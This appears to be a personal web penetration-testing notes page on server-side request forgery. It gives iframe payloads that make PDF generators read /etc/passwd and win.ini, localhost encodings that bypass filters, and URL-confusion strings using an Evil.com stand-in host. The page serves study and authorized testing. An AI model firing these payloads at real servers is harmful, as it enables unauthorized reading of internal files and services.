> For the complete documentation index, see [llms.txt](https://zeyad-abulaban.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zeyad-abulaban.gitbook.io/notes/web-penetration-testing/web-vulns/ssrf.md).

# SSRF

***

## Attack vectors

1. Parser logic
2. Web-application logic
3. unfiltered user input

## PDF Generators

In some cases, a server may convert uploaded files to PDF format. Try injecting `<iframe>`, `<img>`, `<base>`, or `<script>` elements, or CSS `url()` functions pointing to internal services.

```
<iframe src="file:///etc/passwd" width="400" height="400">
<iframe src="file:///c:/windows/win.ini" width="400" height="400">
- 
```

## Common Filter Bypass

Some applications block references to `localhost` and `127.0.0.1`. This can be circumvented by:

* Using alternative IP representation that evaluate to `127.0.0.1`:
  * Decimal notation: `2130706433`
  * Octal notation: `017700000001`
  * IP shortening: `127.1`
* String obfuscation
* Registering your own domain that resolves to `127.0.0.1` (DNS rebinding)

```txt
Legit-Domain@Evil.com
Legit-Domain#Evil.com
Legit-Domain.Evil.com
```

## References

* <https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery>
* [DNS rebinding attack](https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/)
* [swisskyrepo: SSRF Payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [Reading Internal Files Using SSRF Vulnerability](https://medium.com/@neerajedwards/reading-internal-files-using-ssrf-vulnerability-703c5706eefb)
* [Abusing the AWS Metadata Service Using SSRF Vulnerabilities](https://blog.christophetd.fr/abusing-aws-metadata-service-using-ssrf-vulnerabilities/)


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